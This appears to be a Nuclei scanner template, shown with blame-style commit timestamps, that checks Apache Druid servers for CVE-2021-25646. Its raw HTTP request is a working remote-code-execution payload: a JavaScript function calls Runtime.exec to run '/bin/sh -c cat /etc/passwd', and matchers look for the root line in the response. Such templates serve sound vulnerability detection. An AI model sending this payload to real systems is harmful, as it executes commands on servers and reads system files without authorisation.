2021-02-03 09:24:49 +00:00
id : CVE-2021-25646
info :
name : Apache Druid RCE
author : pikpikcu
severity : critical
reference : https://paper.seebug.org/1476/
description : |
Apache Druid is a column-oriented open source distributed data storage written in Java, designed to quickly obtain large amounts of event data and provide low-latency queries on the data.
Apache Druid lacks authorization and authentication by default. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
2021-02-05 19:44:41 +00:00
tags : cve,cve2021,apache,rce
2021-02-03 09:24:49 +00:00
requests :
- raw :
- |
2021-06-24 17:37:45 +00:00
POST /druid/indexer/v1/sampler HTTP/1.1
2021-02-03 09:24:49 +00:00
Host : {{Hostname}}
2021-06-30 14:58:41 +00:00
User-Agent : Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
2021-02-03 09:24:49 +00:00
Content-Type : application/json
2021-06-30 14:58:41 +00:00
Content-Length : 1006
2021-02-03 09:24:49 +00:00
Connection : close
2021-06-30 14:58:41 +00:00
{
"type" : "index" ,
"spec" : {
"ioConfig" : {
"type" : "index" ,
"firehose" : {
"type" : "local" ,
"baseDir" : "/etc" ,
"filter" : "passwd"
}
},
"dataSchema" : {
"dataSource" : "odgjxrrrePz" ,
"parser" : {
"parseSpec" : {
"format" : "javascript" ,
"timestampSpec" : {
2021-06-30 15:01:15 +00:00
2021-06-30 14:58:41 +00:00
},
"dimensionsSpec" : {
2021-06-30 15:01:15 +00:00
2021-06-30 14:58:41 +00:00
},
"function" : "function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}" ,
"" : {
"enabled" : "true"
}
}
}
}
},
"samplerConfig" : {
"numRows" : 10
}
}
2021-02-03 16:12:03 +00:00
2021-02-03 09:24:49 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
words :
- "application/json"
part : header
2021-06-30 14:58:41 +00:00
- type : word
words :
2021-02-03 09:24:49 +00:00
- "numRowsRead"
2021-02-03 16:12:03 +00:00
- "numRowsIndexed"
2021-02-03 09:24:49 +00:00
part : body
2021-03-10 14:03:49 +00:00
condition : and
2021-06-30 14:58:41 +00:00
- type : regex
regex :
- "root:[x*]:0:0:"
part : body